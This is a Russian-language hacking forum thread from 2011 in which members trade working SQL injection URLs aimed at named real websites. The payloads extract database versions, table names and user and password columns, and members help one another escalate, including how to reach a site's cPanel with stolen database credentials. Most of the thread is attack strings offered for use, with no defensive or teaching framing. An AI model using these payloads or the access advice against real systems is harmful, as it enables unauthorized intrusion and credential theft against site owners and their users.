01.05.2011, 13:50
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Код:
http://www.raarfm.com/shows/cinr_suite?id=116'and(1)=(0)union/*!all*/select(1),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,unhex(hex(version())),48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,(133)--+
4.1.14-STANDARD |
|
|
02.05.2011, 12:41
|
|
Новичок
Регистрация: 09.07.2010
Сообщений: 6
С нами:
8338646
Репутация:
0
|
|
помогите нубу расскрутить, и если там вообще таблицы
http://www.simonsig.co.za/about.php?id=1%27
http://www.ak-47.us/AK47-FAQ.php?id=137
|
|
|
|
02.05.2011, 12:58
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от probm
помогите нубу расскрутить, и если там вообще таблицы
http://www.simonsig.co.za/about.php?id=1%27
http://www.ak-47.us/AK47-FAQ.php?id=137
нуб..крути как слепую..или через ошибку выводи..за тебя делать никто ничего не собирается,хотя у второго 3-я версия мускуля...сложно будет для тебя
|
|
|
|
03.05.2011, 01:11
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от probm
помогите нубу расскрутить, и если там вообще таблицы
http://www.simonsig.co.za/about.php?id=1%27
Сообщение от None
http://www.simonsig.co.za/ourWinesDisplay.php?TB_iframe=true&height=250&widt h=450&id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,usr_user name,usr_password),8,9,0,11,12,13,14+from+user
// админские хеши не выкладываем
|
|
|
|
05.05.2011, 02:05
|
|
Новичок
Регистрация: 11.10.2010
Сообщений: 0
С нами:
8203286
Репутация:
0
|
|
У меня есть данные от базы на одном сайте. Но phpmyadmin я там не нашел.
Просканив сайт , обнаружил только ц.панель.
Возможно ли как то зайти в ц-панель или в базу данных. Зная только логин/пароль от самой базы. Сервер локалхост , так что через навикет не пускает.
И если кто то знает , может подсказать как генерируются логины для ц панели , то встречал что пароль от базы , такой же как и в ц панеле.
|
|
|
|
05.05.2011, 02:13
|
|
Новичок
Регистрация: 11.10.2010
Сообщений: 0
С нами:
8203286
Репутация:
0
|
|
Сообщение от Moriarty
cPanel: user12345
mysql: user12345_user
спасибо.
А возможно будет подключение к бд , через сайт соседа ?
|
|
|
|
05.05.2011, 11:24
|
|
Участник форума
Регистрация: 19.12.2010
Сообщений: 155
С нами:
8103926
Репутация:
85
|
|
Сообщение от None
А возможно будет подключение к бд , через сайт соседа ?
если хостер не разрешил (что обычно ими не разрешается), доступ "откуда-то", ты не сможешь зайти откуда-то в базу, лучше попробуй найти phpmyadmin, если на сайте не найдешь ищу у хостера
Например для всех сайтов на hc.ru можно зайти в базу так
phpmyadmin.hc.ru
|
|
|
|
05.05.2011, 22:55
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
как вывести названия таблиц?
http://mai1-ru.h2m.ru/yyy.php?id=1%27+union+select+1,2,table_name+from+i nformation_schema.tables%20where%201=%27
|
|
|
|
05.05.2011, 22:59
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
qaz
http://mai1-ru.h2m.ru/yyy.php?id=1'+and+false+union+select+1,2,table_nam e+FrOm+information_schema.tables+limit+1--%201
|
|
|
|
05.05.2011, 23:01
|
|
Участник форума
Регистрация: 19.12.2010
Сообщений: 155
С нами:
8103926
Репутация:
85
|
|
Сообщение от qaz
как вывести названия таблиц?
http://mai1-ru.h2m.ru/yyy.php?id=1%27+union+select+1,2,table_name+from+i nformation_schema.tables%20where%201=%27
Код:
http://mai1-ru.h2m.ru/yyy.php?id=1%27+union+select+1,2,group_concat%28table_name%29+from+information_schema.tables+--+
Используй substring(group_concat(...),200) для просмотра остальных таблиц, увеличивая число 200 будешь смотреть дальше))
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
